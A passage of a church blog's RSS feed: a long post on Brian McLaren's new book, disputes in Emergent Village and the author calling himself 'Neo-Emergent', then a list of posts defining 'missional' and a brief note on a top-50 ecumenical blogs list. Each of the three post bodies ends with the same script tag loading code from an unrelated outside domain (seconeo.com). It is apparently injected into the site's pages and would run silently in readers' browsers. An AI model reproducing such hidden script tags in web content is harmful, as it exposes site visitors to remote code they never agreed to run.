<p>(1) Brian&#8217;s <span class="pullquote alt"><em>New Christianity</em> seems to be reinventing the faith at a foundational level, that of presupposition</span>. As Daryl Dash points out, this makes it difficult to engage with the book in a way that disagrees with its content, since the response is not built on quite the same foundation, but at best, different interpretations of it. This seems to be the case with the cross in Brian&#8217;s book, for example. And put another way (from the video), if you don&#8217;t like the book, that&#8217;s okay, you&#8217;re not the book&#8217;s audience, you&#8217;re not one of the people [they're] trying to help. I suppose that&#8217;s fine to a point, but if you have a concern about something that&#8217;s being presented to the people they&#8217;re trying to help, it can leave you feeling a little out in the cold and unable to dialogue properly. I don&#8217;t think that&#8217;s necessarily the intention, but the manner in which the faith is being re-framed from the suppositional level and the way in which the audience is defined would certainly have this effect, particularly when aligned with the perception (rightly or wrongly) that once would be entering such a dialogue with an Emergent party who thinks they simply &#8220;don&#8217;t get it&#8221;.</p>
<p>(2) <span class="pullquote alt">Brian McLaren is less prone to having his ideas sound offensive when he&#8217;s speaking than when he is writing</span>. Perhaps one mode has a more clear explanation, which would explain the apparent incongruity. If this is the case, I would want to presume that the written McLaren is more accurately presented than the off-the-cuff spoken McLaren. Some allowance would of course be necessary for spoken explanations of written work, or explanations of written work that has been misunderstood. Though after whatever number of books he&#8217;s up to by now, one would expect a high degree of accurate explanation would be found in the latest books so that spoken re-explanations would be less important.</p>
<p>Oh, and one other thing&#8230; in this latest book, Brian seems to be ousting every dualism you can come up with, except a few&#8230; such as the one where it&#8217;s implied that you&#8217;ll be curious or you&#8217;ll disagree with the book. Put another way, you might say agree or be closed-minded. (Uh&#8230; let&#8217;s review the problem with dualism and false dichotomies, shall we?)</p>
<p>And then there&#8217;s Jeremey Bouma&#8217;s post, <a href="http://www.novuslumen.net/goodbye-emergent-why-im-taking-the-theology-of-the-emerging-church-to-task" title="Goodbye Emergent: Why I’m Taking The Theology of the Emerging Church To Task">Goodbye Emergent: Why I’m Taking The Theology of the Emerging Church To Task</a>. Of course, we note he&#8217;s not the first nor will he be the last, though in that genre, the posts by <a href="http://tallskinnykiwi.typepad.com/tallskinnykiwi/2010/01/goodbyes-to-emergent-village.html" title="Goodbyes to Emergent Village">Andrew Jones</a> and <a href="http://www.emergingmummy.com/2010/02/in-which-i-have-discovered-that-i-dont.html" title="In which I have discovered that I don't care about the emerging church anymore">Sarah Bessey</a> are certainly worth reading to get a flavour of what&#8217;s going on. Although most of these partings are theological (&#8221;new theological emphases and sectarian attitudes towards church emerge&#8221;), some have to do with praxis (&#8221;So much for flat hierarchy, community and transparency&#8221;). At the end of the day, it&#8217;s a case of those representing/represented by Emergent Village morphing into something other than what was hoped for by those who are now distancing &#8212; &#8220;other than&#8221; in terms of either theology or praxis. Most if not all of the departers are framing it as not being a break in relationship &#8212; which is a point to keep in mind for a minute or two.</p>
<p>You can follow the comment threads on most of the recent posts that I&#8217;ve just linked and find that they are long and at times heated. Following on those comments, <a href="http://www.theooze.com/" title="TheOoze.com">The Ooze</a>&#8217;s Mike Morell has written a thoughtul post <a href="http://zoecarnate.wordpress.com/2010/02/11/on-the-mclaren-nay-sayers/" title="On the McLaren Nay-sayers">On the McLaren Nay-sayers</a> and David Fitch has offered some thoughts on <a href="http://www.reclaimingthemission.com/stuck-between-mohler-and-mclaren-the-incarnational-approach-to-leading-in-our-disagreements/" title="Stuck between Mohler and McLaren: The Incarnational Approach to Leading in Our Disagreements">The Incarnational Approach to Leading in Our Disagreements</a>. And you don&#8217;t have to dig very deep into the comments to discern that we&#8217;ve got some pretty big disagreements on hand. And it&#8217;s so bad that even <a href="http://apprising.org/2010/02/09/dissention-growing-around-the-emerging-church/" title="DISSENTION GROWING AROUND THE EMERGING CHURCH">the anti-emergents have noticed</a>. Maybe we really do need to watch what we say or how we say it. <a href="http://www.missional.ca/2010/02/new-kind-of-christianity/" title="A New Kind of Christianity">Jamie Arpin-Ricci tackles the subject</a> very well, and Jordon Cooper wonders about <a href="http://www.jordoncooper.com/2010/02/14/theological-debate-as-a-blood-sport/" title="Theological Debate as a Blood Sport">Theological Debate as a Blood Sport</a>. Yes, there ought to be a better way to handle this&#8230; and but we might begin with thicker skin, less defensiveness, respect for the party being critiqued, and a much more cautious way of saying it.</p>
<p><span class="pullquote">One thing that would help is some clarification concerning the relationship of the Emergent Trinity &#8212; that is, Brian McLaren, Doug Pagitt, and Tony Jones &#8212; to the Emergent Village organization</span>. While none are listed as current EV board members, all have been in the past, and all remain associated with EV in the public eye. When one of them proffers a theological idea, it extends through that association to EV &#8212; rightly or wrongly. While it may be said that they don&#8217;t <em>formally</em> speak for EV, the fact that EV has historically not responded to affirm or deny such ideas leaves a <em>de facto</em> association with their theology firmly intact. Despite the fact that this &#8220;first generation&#8221; of EV leaders isn&#8217;t listed as formal board members, it would be difficult to imaging the cessation of important friendships, conversations, and mentoring relationships between the past and current generations (with the exception of some of the first generation who seem to have distinctly become a little distant from the current one).</p>
<p>So does the theology of this Emergent Trinity fairly represent the majority of people associated with EV? We don&#8217;t know. Although characterized as a conversation, it must be noted that <span class="pullquote alt">there are precious few voices within EV who are publicly disagreeing with any of the theology being promoted by this Trinity</span>. If one were to gather up the theological threads that have been found objectionable and roll them into a single package, it would indicate that Emergent&trade; denies original sin and the concept of sin in general, doesn&#8217;t hold the Bible as fully authoritative (or inspired, really), denies hell, doesn&#8217;t fully articulate a model for atonement (as long as it isn&#8217;t penal substitution), is panentheistic, and cannot affirm the traditional creeds &#8212; to name a few. To be clear, this wouldn&#8217;t be a valid codification of Emergent&trade; theology&#8230; but stringing it together like this makes it (a) obvious why there&#8217;s increasing push-back to the varied theologies that are being offered, and (b) much more glaring that there&#8217;s no discussion that includes push-back from <em>within</em> the Emergent Village association.</p>
<p>While not specifically stated, this confusion must be a complicating factor among those who have left their association with EV, and the exodus has left many people asking if the emerging church is dead. It would seem evident that the answer is no, not yet &#8212; the point that <a href="http://www.emergentvillage.com/weblog/brinkdeathofemergence" title="Is the emerging church dying or maturing?">Jonathan Brink attempts to make on the EV blog</a>. He says that, in fact, it is <em>maturing</em>. I think he&#8217;s correct in the bottom line of that assessment, mainly because it&#8217;s precisely what I began to see at the beginning of October 2008 (<a href="/2008/10/emergent-terminology-its-not-about-terminology/" title="Emergent Terminology: It’s Not About Terminology">Emergent Terminology: It’s Not About Terminology</a>) and outlined more clearly in April 2009 (<a href="/2009/04/emerging-fractures-the-great-emergence/" title="Emerging Fractures &#038; the Great Emergence">Emerging Fractures &#038; the Great Emergence</a>).</p>
<p>So <span class="pullquote">yes, you heard it here first</span>. And yes, we&#8217;ve got fractures happening, which yes, reflects a maturation process for the emerging church. It shouldn&#8217;t have to get ugly though, and some of the lines are being drawn a little heavily with a quick labelling of the parties. I suppose it should be carefully noted that it&#8217;s a separate question to ask whether the emerging church is dead (no) than to ask whether Emergent&trade; is dead. People may tire of the emerging church conversation, but for the most part it&#8217;s Emergent Village that they&#8217;re distancing themselves from, even as they continue in an emerging/missional vein of theology and praxis.</p>
<p>It leaves me thinking, &#8220;Just call me Neo.&#8221;</p>
<blockquote><h4>Neo</h4>
<p>Nickname for a character in <a href="http://www.imdb.com/title/tt0133093/" title="IMDB: The Matrix"><em>The Matrix</em></a> trilogy of movies. Thomas A. Anderson (Neo) was born 11<sup>th</sup> March 1962 in &#8220;Lower Downtown, Capital City, USA,&#8221; son of John Anderson and Michelle McGahey, he attended Central West Junior High and Owen Patterson High. Thomas Anderson is one of billions of humans neurally connected to the Matrix, unaware that the world he lives in is a virtual reality only. In his legitimate activities, he is a programmer, but he is also a computer hacker (cracker), in the course of which he learns of &#8220;The Matrix&#8221;, later described as a vague notion that Neo has felt his whole life that &#8220;there is something wrong with the world&#8221;.</p></blockquote>
<p><img class="alignright" src="/images/2010/neo_matrix.jpg" width="380" height="237" alt="neo_matrix.jpg" /> While I can relate in many ways, that&#8217;s not the &#8220;Neo&#8221; I was thinking of.</p>
<blockquote style="clear:right;"><h4>neo-</h4>
<p>1. a combining form meaning “new,” “recent,” “revived,” “modified,” used in the formation of compound words: <em>neo-Darwinism; Neolithic; neoorthodoxy; neophyte</em> <small>[<a href="http://dictionary.reference.com/browse/neo-" title="Dictionary.com: neo-">Dictionary.com</a>]</small>.</p></blockquote>
<p>I remember thinking it a compliment when I was first labeled &#8220;neo-pentecostal&#8221;, and I&#8217;m wondering now if the best descriptor I could adopt might be Neo-Emergent. After all, <span class="pullquote alt">I&#8217;m asking most of the same questions as the Emergent Village crowd &#8212; it&#8217;s just that in so many cases, I&#8217;m getting different answers</span>. Most of the answers I&#8217;m getting align more closely with the missional conversation, and it&#8217;s been this way for a while now. &#8220;Missional conversation&#8221; having now been described by someone in the Emergent Village circle as the &#8220;missional right.&#8221; And perhaps the missional conversation is generally to the right of the Emergent Village one, but it&#8217;s still left of a lot of evangelical ones&#8230; with overlap on both sides, of course. Such is the nature of a fragmenting conversation that is continuting to splinter into smaller conversations. Think of these more as &#8220;working groups,&#8221; because honestly, it was probably harder to get a lot of work done in the midst of such a large conversation. The smaller ones are often focused more on praxis&#8230; on getting some work done.</p>
<p><a href="http://neoemergent.org/" title="Neo-Emergent" class="noeffect"><img src="http://subversiveinfluence.com/images/2010/02/neo-emergent.300x240.jpg" alt="neo-emergent.300x240" title="neo-emergent.300x240" width="300" height="240" class="alignleft size-full wp-image-3457" /></a> Somewhere in this mix, I guess <a href="http://neoemergent.org/" title="Neo-Emergent">I&#8217;ve become Neo-Emergent</a>. I was never formally an Emergent Village affiliate, though I&#8217;ve been &#8220;in conversation&#8221; with so many who are over the past 5&frac12; years. There are no formal ties to break, though I always said I wasn&#8217;t Emergent so much as I was part of the emerging church &#8212; or &#8220;the church that is emerging.&#8221; Later on, I began calling it emerging/missional, and this is where I still resonate most. So perhaps I&#8217;ve always been Neo-Emergent. I&#8217;ve been asking the same questions, but in a lot of cases I&#8217;ve been coming up with different answers. Maybe I&#8217;m much more convinced that we need a new kind of Christian, but not so much that we should be attempting to formally structure a new kind of Christianity. Someplace between these two books, the path I was on began to diverge a lot more from the one that Emergent seems to be on. But now by calling myself &#8220;Neo-Emergent,&#8221; I can keep some of the great terminology from emergence theory (and invent a new badge for my blog sidebar <em>;^)</em>)</p>
<p>So the Emergent/emerging church conversation is fracturing. It&#8217;s a sign of maturation as <span class="pullquote alt">people beginning the <em>re</em>construction process and are not comfortable reconstructing their theology in quite the same way as some of the people with whom they were very comfortable <em>de</em>constructing it</span>. Deconstruction requires a lot less affirmation of the same facts than does reconstruction. Simple fact. As Mike Morell quoted me from earlier this year, I really am sad that people who shared a pulpit at the beginning of the decade won&#8217;t share the time of day at the end of it (or however I put that). I&#8217;m not particularly sad that their theology has diverged &#8212; that simply is what it is, and was always inevitable. What saddens me is the treatment of the other. The more I&#8217;m around this emerging/missional conversation and meet some of the &#8220;big names&#8221; within it, the more I find tales of sin, mistreatment, broken fellowship, and even grudges. This deeply saddens me, not because it&#8217;s in any way unique, but because it&#8217;s no different than the rest of the church, or the world. There are things in which some parts of the body of Christ fails utterly to distinguish themselves, and this is one. And it&#8217;s hard to assign blame here. Some have distanced themselves graciously and quietly from EV, while others have become vocal critics. This has left the latest round of distancers and those sympathetic with them feeling a slight cold shoulder from EV. I have nothing concrete to point to in order to justify or substantiate this feeling, but I feel it and it seems to be a feeling that resounds with people on the fringes of EV. Whether this is real or imagined, intentional or not, it&#8217;s a little difficult to fault Emergent&trade; entirely for any feelings of apprehension based on the track records of those who became vocal critics. No names mentioned, *cough* *markdriscoll* *cough* but feelings of betrayal on both sides wouldn&#8217;t likely be a mischaracterization, though such a conclusion is in my view just wrong.</p>
<p>And if I really bored you someplace along the way and you skipped ahead to the end, here&#8217;s what I&#8217;ve just said:</p>
<ol>
<li>Lots of emergent people are starting to argue about theology. It&#8217;s because of divergent paths, but some of the conversation feels less welcoming.</li>
<li>The emerging church conversation is fracturing, but it&#8217;s a mark of its maturation process.</li>
<li>I told you, like a year ago, that all this was coming. Don&#8217;t look so surprised.</li>
<li>Turns out I&#8217;m Neo-Emergent.</li>
</ol>
<p>If you want to know what each of these means, well, you&#8217;ll have to skip back up and read some more.</p>
<p>What do you think on each of these points? Am I on or off the mark? And are <em>you</em> Neo-Emergent?<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/02/a-new-kind-of-conversation-why-i-might-be-neo-emergent/feed/</wfw:commentRss>
		<slash:comments>72</slash:comments>
		</item>
		<item>
		<title>Just What is Missional?</title>
		<link>http://subversiveinfluence.com/2010/02/just-what-is-missional/</link>
		<comments>http://subversiveinfluence.com/2010/02/just-what-is-missional/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 13:42:40 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Missional]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3440</guid>
		<description><![CDATA[<p><img class="floatright" src="/images/blogposts/bluesbros_missiodei.jpg" width="360" height="250" alt="Blues Brothers:  On the Missio Dei." /> This is a summary of some of the posts I&#8217;ve written over the past couple of years defining missional. Most notable among these are two series that I did on the subject. The first was my exploration of the topic, and the second was a summary of the posts contributed in a synchroblog on the question. I&#8217;ve marked a couple of the notable posts with an asterisk.</p>
<p><strong style="text-align: center;">Defining Missional Series (August-September 2007)</strong><br />
&bull; <a title="The Dangers of Missionalism &amp; The Dangers of Language" href="/?p=1336">The Dangers of Missionalism &amp; The Dangers of Language</a><br />
&bull; <a title="Aloha, Missional" href="/?p=1338">Aloha, Missional</a><br />
&bull; <strong>*</strong><a title="Missional Essentials: A Short List" href="/?p=1352">Missional Essentials: A Short List</a><br />
&bull; <strong>*</strong><a title="Understanding Missional: Personalizing the Central Tenets" href="/?p=1353">Understanding Missional: Personalizing the Central Tenets</a><br />
&bull; <a title="Missional Definitions: A Brief Survey" href="/?p=1360">Missional Definitions: A Brief Survey</a><br />
&bull; <a title="Missional Interlude, with Post-Christendom Considerations" href="/?p=1364">Missional Interlude, with Post-Christendom Considerations</a><br />
&bull; <a title="Missio(nal) Dei?" href="/?p=1367">Missio(nal) Dei?</a><br />
&bull; <a title="Missional Reading, Pre-Missional" href="/?p=1369">Missional Reading, Pre-Missional</a><br />
&bull; <a title="Coming Up..." href="/?p=1372">Coming Up&#8230;</a> (Summary; overuse of &#8220;missional&#8221;)<br />
&bull; <a title="The Keys to the Missional Kingdom" href="/?p=1378">The Keys to the Missional Kingdom</a> (Kingdom of God)<br />
&bull; <a title="The Mission of Missional" href="/?p=1383">The Mission of Missional</a><br />
&bull; <a title="Missional Theory: Cultural Relativity vs. Ethical Relativity" href="/?p=1382">Missional Theory: Cultural Relativity vs. Ethical Relativity</a> (Contextualization)<br />
&bull; <a title="Interpreting Christ" href="/?p=1389">Interpreting Christ</a> (incarnation)<br />
&bull; <a title="Missional as the Defragmentation of Missions" href="/?p=1392">Missional as the Defragmentation of Missions</a></p>
<p><strong>Later Posts Defining Missional</strong><br />
&bull; <a title="Missional Is &amp; Missional Ain't" href="/2008/04/missional-is-missional-aint/">Missional Is &amp; Missional Ain&#8217;t</a> (April 2008)<br />
&bull; <a title="Missional Soup ('What is Missional' SynchroBlog)" href="/?p=1717">Missional Soup</a> (June 2008 SyncroBlog Contribution)</p>
<p><strong>July 2008 &#8212; SynchroBlog Summary Series</strong><br />
&bull; <a title="50 Ways to Define 'Missional' - I" href="/?p=1725">50 Ways to Define &#8216;Missional&#8217; &#8211; I</a><br />
&bull; <a title="50 Ways to Define 'Missional' - II" href="/?p=1726">50 Ways to Define &#8216;Missional&#8217; &#8211; II</a><br />
&bull; <a title="50 Ways to Define 'Missional' - III" href="/?p=1727">50 Ways to Define &#8216;Missional&#8217; &#8211; III</a><br />
&bull; <a title="50 Ways to Define 'Missional' - IV" href="/?p=1728">50 Ways to Define &#8216;Missional&#8217; &#8211; IV</a><br />
&bull; <a href="/?p=1729" title="50 Ways to Define 'Missional' - V">50 Ways to Define &#8216;Missional&#8217; &#8211; V</a><br />
&bull; <a title="50 Ways to Define 'Missional' - VI" href="/?p=1732">50 Ways to Define &#8216;Missional&#8217; &#8211; VI</a><br />
&bull; <a title="50 Ways to Define 'Missional' - VII" href="/?p=1735">50 Ways to Define &#8216;Missional&#8217; &#8211; VII</a><br />
&bull; <a title="50 Ways to Define 'Missional' - VIII" href="/?p=1736">50 Ways to Define &#8216;Missional&#8217; &#8211; VIII</a><br />
&bull; <strong>*</strong><a href="" title="50 Ways to Define 'Missional' - IX">50 Ways to Define &#8216;Missional&#8217; &#8211; IX</a></p>
<p><script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/02/just-what-is-missional/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>50 Ecumenical Blogs</title>
		<link>http://subversiveinfluence.com/2010/02/50-ecumenical-blogs/</link>
		<comments>http://subversiveinfluence.com/2010/02/50-ecumenical-blogs/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 01:51:52 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Aside]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Emerging Church]]></category>
		<category><![CDATA[bill-kinnon]]></category>
		<category><![CDATA[ecumenical blogs]]></category>
		<category><![CDATA[Sarah Bessey]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3436</guid>
		<description><![CDATA[<p>The <a href="http://biblecollege.org/" title="Biblical Learning Blog">Biblical Learning Blog</a> Has complied a list of the <a href="http://biblecollege.org/2010/top-50-ecumenical-blogs/" title="Top 50 Ecumenical Blogs">Top 50 Ecumenical Blogs</a>, and for some reason they stuck me on it in the &#8220;Emergence Outreach&#8221; category. My crony <a href="http://kinnon.tv/" title="Kinnon.tv">Bill Kinnon</a>, who slotted in under the &#8220;Reaching Out&#8221; category. Meanwhile, I&#8217;m reading Sarah Bessey&#8217;s excellent post <a href="http://www.emergingmummy.com/2010/02/in-which-i-have-discovered-that-i-dont.html" title="In which I have discovered that I don't care about the emerging church anymore">In which [she has] discovered that [she doesn't] care about the emerging church anymore</a> and wondering if they might take away the latest designation <a href="/brother-maynard/what-others-are-saying/" title="What Others Are Saying about Me">for my wall</a> if I&#8217;m not as emerging as I once was.<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/02/50-ecumenical-blogs/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 11.907 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-09-08 06:32:21 -->
